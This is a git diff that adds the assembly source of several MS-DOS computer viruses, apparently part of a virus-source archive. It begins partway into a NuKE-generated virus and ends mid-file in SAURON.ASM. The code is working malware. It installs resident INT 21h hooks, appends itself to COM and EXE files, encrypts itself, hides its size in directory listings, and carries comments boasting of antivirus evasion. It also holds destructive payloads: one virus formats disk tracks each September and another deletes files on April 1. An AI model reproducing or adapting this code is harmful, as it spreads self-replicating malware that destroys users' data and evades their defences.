cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +xor byte ptr [di],035h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +xor byte ptr [di],035h +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'You are infected with the: "Saclink" virus, very rare.','$' + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 07H ;day for the action +action_mes Db 04H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/s/SAD.ASM b/s/SAD.ASM new file mode 100755 index 0000000..16f4c7d --- /dev/null +++ b/s/SAD.ASM @@ -0,0 +1,225 @@ +; +; ---- Data Segment Values ---- +; ds:[0f6h] = read buffer location +; ds:[0f8h] = write buffer location +; ds:[0fah] = store length of virus at this location +; ds:[0fch] = store length of file to be infected at this location +; ds:[0feh] = filename of file to infect +; + +.model tiny +.code +org 100h ; origin for .com files +start: + + nop ; these two nop instructs will be used by 'Nasty' + nop ; to determine if a file is already infected + + ;****** + ;get date + ;****** + mov ah,2ah ; get the date + int 21h ; do it + cmp dh,09h ; is it September? + jnz do_not_activate ; if NO jmp do_not_activate + ;**** + ;the nasty bit + ;**** + ;* + ;* 1. Print message + ;* + lea dx,mess ; print message + mov ah,09 ; 'Nasty in September' + int 21h ; do it + ;**** + ;* 2. Destroy disk + ;**** + mov ah,19h ; get current drive (returned in al) + int 21h ; do it + mov dl,al ; dl = drive # to be formated + mov ah,05 ; disk format function + mov cl,01 ; first sector + mov ch,00 ; first track + mov dh,00 ; head zero + mov al,10h ; 10h (16) sectors - 2 tracks + int 13h ; do it (overwrite first 16 tracks on currently + ; selected disc) + + +do_not_activate: + mov cx,80h ; save parameters; set counter to 80h bytes + mov si,0080h ; offset in the current data segment of the byte + ; to be copied + mov di,0ff7fh ; offset to which byte is to be moved + rep movsb ; move bytes until cx=0 (decrement cx by 1 each time + ; loop is performed is done automatically) + ; (increment by 1 of si & di is done automatically) + + lea ax,begp ; load exit from program offset address into ax + mov cx,ax ; " " " " " " " cx + sub ax,100h ; subtract start of .com file address (100h) from ax + ; ax now contains the length of the virus + + mov ds:[0fah],ax ; put length of the virus into the data segment at + ; offset 0fah + add cx,fso ; add fso (5h) to cx (offset address of exit) + ; so, cx=cx+5 + mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at + ; offset 0f8h. ** Start of the write buffer. + ADD CX,AX ; add virus length (ax) to cx ????? + mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h. + ; ** Start of the read buffer + mov cx,ax ; mov length of virus into cx + lea si,start ; load address of 'start' (start of virus) into + ; souce index + mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into + ; destination index + + +rb: ; cx = counter (length of virus) + ; si = offset of byte to be read + ; di = offset of where to write byte to + ; (auto decrement of cx & increment of si & di) + rep movsb ; copy the virus into memory + + stc ; set the carry flag + + lea dx,file_type_to_infect ; set infector for .com files only + mov ah,4eh ; find first file with specified params + mov cx,20h ; files with archive bit set + int 21h ; do it + ; if file found, CF is cleared, else + ; CF is set + + or ax,ax ; works the below instructions (jz & jmp) + jz file_found ; if file found jmp file_found + jmp done ; if no file found, jmp done (exit virus) + +file_found: + mov ah,2fh ; get dta (returned in es:bx) + int 21h ; do it + + mov ax,es:[bx+1ah] ; mov size of file to be infected into ax + mov ds:[0fch],ax ; mov filesize into ds:[0fch] + add bx,1eh ; bx now points to asciz filename + mov ds:[0feh],bx ; mov filename into ds:[0feh] + clc ; clear carry flag + + mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename) + mov dx,bx ; mov filename into dx + int 21h ; do it (ax contains file handle) + + mov bx,ax ; mov file handle into bx + + mov ax,5700h ; get time & date attribs from file to infect + int 21h ; do it (file handle in bx) + push cx ; save time to the stack + push dx ; save date to the stack + + mov ah,3fh ; read from file to be infected + mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to + ; be infected + mov dx,ds:[0f6h] ; buffer (where to read bytes to) + int 21h ; do it + + mov bx,dx ; mov buffer location to bx + mov ax,[bx] ; mov contents of bx (first two bytes - as bx is + ; 16-bits) into ax. + + ; Now check to see if file is infected... if the + ; file is infected, it's first two bytes will be + ; 9090h (nop nop) + + sub ax,9090h ; If file is already infected, zero flag will be set + ; thus jump to fin(ish) + jz fin + + + mov ax,ds:[0fch] ; mov filesize of file to be infected into ax + mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx + + mov [bx-2],ax ; correct old len + + mov ah,3ch ; Create file with handle + mov cx,00h ; cx=attribs -- set no attributes + mov dx,ds:[0feh] ; point to name + clc ; clear carry flag + int 21h ; create file + ; Note: If filename already exists, (which it does) + ; truncate the filelength to zero - this is ok as + ; we have already copied the file to be infected + ; into memory. + + mov bx,ax ; mov file handle into bx + mov ah,40h ; write file with handle (write to the file to be + ; infected) - length currently zero + ; cx=number of bytes to write + mov cx,ds:[0fch] ; length of file to be infected + add cx,ds:[0fah] ; length of virus + mov DX,ds:[0f8h] ; location of write buffer (this contains the virus + ; + the file to be infected) + int 21h ; write file + ; new file = virus + file to be infected + + mov ax,5701h ; restore original time & date values + pop dx ; get old date from the stack + pop cx ; get old time from the stack + int 21h ; do it + ; Note: Infected file will now carry the time & date + ; it had before the infection. + + mov ah,3eh ; close file (bx=file handle) + int 21h ; do it + ; Note: date & time stamps automatically updated if + ; file written to. + +fin: + stc ; set carry flags + mov ah,4fh ; find next file (.com) + int 21h ; do it + or ax,ax ; decides zero flag outcome + jnz done ; if no more .com files, jmp done + JMP file_found ; else begin re-infection process for new file. + +done: + mov cx,80h ; set counter (cx) = 80h + mov si,0ff7fh ; source offset address (copy from here) + mov di,0080h ; destination offset address (copy to here) + rep movsb ; copy bytes! (cx is auto decremented by 1 + ; si & di are auto incremented by 1) + ; Note: this is a 'restore parameters' feature + ; this does the reverse of what what done earlier + ; in the program (do_not_activate:) + + mov ax,0a4f3h ; + mov ds:[0fff9h],ax ; + mov al,0eah ; + mov ds:[0fffbh],al ; reset data segment locations ??? (to previous + mov ax,100h ; values before virus infection) + mov ds:[0fffch],ax ; + lea si,begp ; load exit from program offset address into si + lea di,start ; load offset address of start of virus into di + mov ax,cs + mov ds:[0fffeh],ax ; re-align cs = ds ??? + mov kk,ax + mov cx,fso + + db 0eah ; define byte + dw 0fff9h ; define word + kk dw 0000h ; define kk = word + + mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display + + file_type_to_infect db '*?.com',0 ; infect only .com files. + + fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes + ; in size (a word) + ; ----- alma mater + + +begp: + mov ax,4c00h ; normal dos termination (set al to 00) + int 21h ; do it + +end start +  \ No newline at end of file diff --git a/s/SARAH.ASM b/s/SARAH.ASM new file mode 100755 index 0000000..3e08690 --- /dev/null +++ b/s/SARAH.ASM @@ -0,0 +1,283 @@ +; sarah.asm : {Sarah} by Gehenna +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file sarah.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 0 ; For easy calculation of offsets +id = 'EF' ; ID word for EXE infections + +startvirus: +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption + mov si,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + dec si ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + push ds + push es + + mov ax,'DA' ; Installation check + int 21h + cmp ax,'PS' ; Already installed? + jz done_install + + mov ax, es ; Get PSP + dec ax + mov ds, ax ; Get MCB + + sub word ptr ds:[3],(endheap-startvirus+15)/16+1 + sub word ptr ds:[12h],(endheap-startvirus+15)/16+1 + mov ax,ds:[12h] + mov ds, ax + inc ax + mov es, ax + mov byte ptr ds:[0],'Z' ; Mark end of chain + mov word ptr ds:[1],8 ; Mark owner = DOS + mov word ptr ds:[3],(endheap-startvirus+15)/16 ; Set size + + push cs + pop ds + xor di,di ; Destination + mov cx,(heap-startvirus)/2+1 ; Bytes to zopy + mov si,bp ; lea si,[bp+offset startvirus] + rep movsw + + mov di,offset encrypt + mov si,bp ; lea si,[bp+offset startvirus] + mov cx,startencrypt-decrypt + rep movsb + mov al,0c3h ; retn + stosb + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory +done_install: + pop es + pop ds + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+oldCSIP+2],ax + add ax,word ptr cs:[bp+oldSSSP+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+oldSSSP] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +oldCSIP dd 0fff00000h ; Needed for carrier file +oldSSSP dd ? ; Original SS:SP + +virus db '{Sarah}',0 +author db '',0 + +int21: ; New interrupt handler + cmp ax,'DA' ; Installation check? + jnz notinstall + mov ax,'PS' + iret +notinstall: + pushf + push ax + push bx + push cx + push dx + push si + push di ; don't need to save bp + push ds + push es + cmp ax,4b00h ; Infect on execute + jz infectDSDX +exithandler: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + db 0eah ; JMP SSSS:OOOO +oldint21 dd ? ; Go to orig handler + +infectDSDX: + mov ax,4300h + int 21h + push ds + push dx + push cx ; Save attributes + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov ax,3d02h ; Open read/write + int 21h + xchg ax,bx + + mov ax,5700h ; Get creation date/time + int 21h + push cx ; Save date and + push dx ; time + + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + mov ah,3fh ; Read file to buffer + mov dx,offset buffer ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ax,4202h ; Go to end of file + xor cx,cx + cwd + int 21h + + mov word ptr filesize,ax + mov word ptr filesize+2,dx +checkEXE: + cmp word ptr buffer+10h,id ; is it already infected? + jnz infect_exe +done_file: + mov ax,5701h ; Restore creation date/time + pop dx ; Restore date and + pop cx ; time + int 21h + + mov ah,3eh ; Close file + int 21h + + pop cx + pop dx + pop ds ; Restore filename + call attributes ; attributes + + jmp exithandler +infect_exe: + mov cx, 1ah + push cx + push bx ; Save file handle + les ax,dword ptr buffer+14h ; Save old entry point + mov word ptr oldCSIP, ax + mov word ptr oldCSIP+2, es + + les ax,dword ptr buffer+0Eh ; Save old stack + mov word ptr oldSSSP,es + mov word ptr oldSSSP+2,ax + + mov ax,word ptr buffer+8 ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax,dword ptr filesize ; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr buffer+14h, dx ; New entry point + mov word ptr buffer+16h, ax + + mov word ptr buffer+0Eh, ax ; and stack + mov word ptr buffer+10h, id + + pop dx ; get file length + pop ax + pop bx ; Restore file handle + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr buffer+4, dx ; new file size + mov word ptr buffer+2, ax + + push cs ; restore ES + pop es + + mov ax,word ptr buffer+14h ; needed later +finishinfection: + add ax,offset startencrypt-offset decrypt + mov word ptr encrypt+(patch_startencrypt-startvirus)+1,ax + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov word ptr encrypt+(decrypt_value-startvirus),dx ; New encrypt. value + xor si,si ; copy virus to buffer + mov di,offset zopystuff + mov cx,heap-startvirus + rep movsb + + mov si,offset encrypt ; copy encryption function + mov di,offset zopystuff + mov cx,startencrypt-decrypt + rep movsb + + mov word ptr [encrypt+(patch_startencrypt-startvirus)+1],offset zopystuff+(startencrypt-decrypt) + + push bx + call encrypt + pop bx + + mov ah,40h ; Concatenate virus + mov dx,offset zopystuff + mov cx,heap-startvirus ; # bytes to write + int 21h + + mov ax,4200h ; Move file pointer + xor cx,cx ; to beginning of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Write to file + mov dx,offset buffer ; Write from buffer + pop cx ; cx bytes + int 21h + + jmp done_file + +attributes: + mov ax,4301h ; Set attributes to cx + int 21h + ret + +heap: ; Variables not in code +filesize dd ? +encrypt: db startencrypt-decrypt+1 dup (?) +zopystuff db heap-startvirus dup (?) ; Encryption buffer +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end startvirus diff --git a/s/SATNLH.ASM b/s/SATNLH.ASM new file mode 100755 index 0000000..fb7f4b5 --- /dev/null +++ b/s/SATNLH.ASM @@ -0,0 +1,354 @@ +; Virus +; Satan's Little Helper-C +;This version: +;Searches current directory for non-infected com files, if any found +;it will become infected! +;This virus has a routine which self-destructs itself and uninfects +;the file. + assume cs:code + .286 +code segment "code" + org 0100h +start proc + jmp v_start ;first 5 bytes | + nop ; | + nop ; | +v_start: + call $+3 ;Actual virus + pop dx + sub dx, 3 + push dx ;save relocation factor in BP + pop bp ;so virus can be copied anywhere twoards + mov si, dx ;the end of the file + ; +; Replace first 5 bytes in memory with original +; program code so normal program can run later + add si, first_five + mov di, 0100h + mov cx, 5 + lodsb + stosb + loop $-2 +;see if user want to disinfect this file + mov si, 82h + lodsb + cmp al, "[" ;is al the code to disinfect? "[" + jne ok_dont_disinfect + jmp self_kill +ok_dont_disinfect: + ;here should be date checks to see + ;if an evil function should be unleashed!! + mov ah, 2ah + int 21h + ;cx year 1980-2099 + ;dh month 1-12 + ;dl day + ;al day of week 0=sun 1=mon -> 7=sat + cmp dh, 12 + jne notdec + cmp dl, 25 + jne notdec + jmp christmas +notdec: + cmp dh, 4 + jne notapril + cmp dl, 1 + jne notapril + jmp aprilfools +notapril: + +;Set the DTA + call set_dta + ;find first file to ?infect? + call find_first_file +go_again: + mov si, bp + add si, size_ + lodsw + cmp ax, 5 + ja gd4 + jmp resrch +gd4: + call open_file + mov bx, ax + mov al, 0 + call date_time + mov ah, 3fh + mov cx, 5 + mov dx, bp + add dx, first_five + int 21h + mov ax, 4202h + mov cx, 0 + mov dx, cx + int 21h + sub ax, 3 + mov si, bp + add si, new_5 + mov [si+1], ax + mov si, bp + mov di, si + add si, chkmark + add di, mark + mov cx, 2 + repe cmpsb + jne INFECT +;File found was previously infected! +; search for new one now. + jmp resrch + +wipe_name: + push di + push ax + push cx + mov di, bp + add di, name_ + mov cx, 13 + mov al, 0 + rep stosb + pop cx + pop ax + pop di + ret +resrch: + call wipe_name + mov ah, 4fh + int 21h + jnc gd3 + jmp term_virus +gd3: + jmp go_again +INFECT: +;Time to infect the file!! + mov si, bp + add si, handle + mov bx, [si] + mov cx, vsize + mov dx, bp + call wipe_name + mov ax, 4000h + int 21h + mov ax, 4200h + mov cx, 0 + mov dx, cx + int 21h + mov dx, bp + add dx, new_5 + mov ax, 4000h + mov cx, 5 + int 21h + mov al, 1 + call date_time + mov ax, 3e00h + int 21h + jmp resrch + +fndnam proc + mov si, env + mov ax, [si] + mov es, ax + mov ds, ax + mov si, 0 + mov di, si +__lp: + lodsb + cmp al, 0 + je chknxt + stosb + jmp __lp +chknxt: + stosb + lodsb + cmp al, 0 + je fnd1 + stosb + jmp __lp +fnd1: + stosb +__lp2: + lodsb + cmp al, "a" + jae ff_ +up2: + cmp al, "A" + jae fff_ +up3: + stosb + jmp __lp2 +ff_: + cmp al,"z" + jbe fnd + jmp up2 +fff_: + cmp al, "Z" + jbe fnd + jmp up3 +fnd: + mov si, di + mov al, 0 + repne scasb + mov dx, si + mov di, dx + ret +env equ 2ch +fndnam endp + + +self_kill: + ;this procedure disinfects specified files + ;SI points to the name of current file on disk + ;which is infected + call fndnam ;find name of current file from env block in memory + jmp gd__ +abrt: + int 20h +gd__: + mov ax, 3d02h + int 21h + jc abrt + mov bx, ax + mov ax, cs + mov ds, ax + mov es, ax + mov cx, 5 + mov dx, bp + add dx, first_five + call wipe_name + mov ax, 4000h + int 21h + jc abrt + mov dx, 0 + mov cx, 0 + mov ax, 4202h + int 21h + jnc gd__1 + jmp abrt +gd__1: + sub ax, vsize + mov dx, ax + mov cx, 0 + mov ax, 4200h + int 21h + call wipe_name + mov cx, 0 + mov ax, 4000h + int 21h + mov ax, 3e00h + int 21h + jmp term_virus +date_time: + pusha + mov ah, 57h + cmp al, 0 + je fnd__$ + mov di, bp + mov si, di + add di, date + add si, time + mov dx, [di] + mov cx, [si] + int 21h + jmp ret__ +fnd__$: + int 21h + mov si, bp + mov di, bp + add si, time + add di, date + mov [si], cx + mov [di], dx +ret__: + popa + ret +open_file: + mov dx, bp + add dx, name_ + mov ax, 3d02h + int 21h + jnc gd2 + jmp term_virus +gd2: + mov si, bp + add si, handle + mov [si], ax + ret +find_first_file: + mov dx, bp + mov cx, 0 + mov ah, 4eh + add dx, all_com_files + int 21h + jnc gd1 + jmp term_virus +gd1: + ret +set_dta: + mov dx, bp + mov ah, 1ah + add dx, dta + int 21h + ret +term_virus: + mov ax, 0 + mov bx, ax + mov cx, bx + mov dx, cx + mov si, 0100h + mov di, -1 + mov bp, di + push 0100h + ret + +CHRISTMAS: +;Program Lockup +; Exit without running program + int 20h +APRILFOOLS: +;Ha Ha delete current file + call fndnam + mov ah, 41h + int 21h + mov ax, cs + mov ds, ax + mov es, ax + jmp term_virus +; Data Bank +_fstfive: + int 20h + nop +ckmrk: + nop + nop +acf db "*.COM",0 +dt_ dw 0 +tme dw 0 +d_t_a: + rfd db 21 dup (0) + att db 0 + dw 0 + dw 0 + sz dd 0 + n_me db 13 dup (0),0 +handl dw 0 +nw_5 db 0e9h,0,0 +mrk db "66" +strain db "C" +; +end___: +first_five = offset _fstfive-0105h +all_com_files = offset acf-0105h +dta = offset d_t_a-0105h +attribute = offset att-0105h +time = offset tme-0105h +date = offset dt_-0105h +size_ = offset sz-0105h +name_ = offset n_me-0105h +handle = offset handl-0105h +new_5 = offset nw_5-0105h +mark = offset mrk-0105h +chkmark = offset ckmrk-0105h +vsize = offset end___-0105h +start endp +code ends + end start + \ No newline at end of file diff --git a/s/SAURON.ASM b/s/SAURON.ASM new file mode 100755 index 0000000..d1fd98d --- /dev/null +++ b/s/SAURON.ASM @@ -0,0 +1,313 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: SAURON.ASM +; Sauron by Ender + +id = 'AC' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK /t filename.OBJ + org 0100h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h,0037h ; xor word ptr [bx], xxxx +encryptvalue dw 0000h + inc bx + inc bx + loop encrypt_loop +endencrypt: + mov bp, sp + int 0003h +next: + mov bp, ss:[bp-6] + sub bp, offset next + + push ds + push es + + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, [bp+INT24] ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + + + push cs + pop es + + push cs + pop ds + + mov dl, 0000h ; Default drive + mov ah, 0047h ; Get directory + lea si, [bp+offset origdir+1] + int 0021h + + lea dx, [bp+offset newDTA] + mov ah, 001Ah ; Set DTA + int 0021h + + push ds + push es + + mov ax, 3521h ; get int 21h handler + int 0021h + + push es + pop ds + xchg bx, dx + mov ax, 2503h ; set int 3 = int 21h handler + int 0021h + + pop es + pop ds + lea si, [bp+offset origCSIP] + lea di, [bp+offset origCSIP2] + movsw + movsw + movsw + movsw + + mov byte ptr [bp+numinfect], 0000h +traverse_loop: + lea dx, [bp+offset EXEmask] + call infect + cmp [bp+numinfect], 0004h + jae exit_traverse ; exit if enough infected + + mov ah, 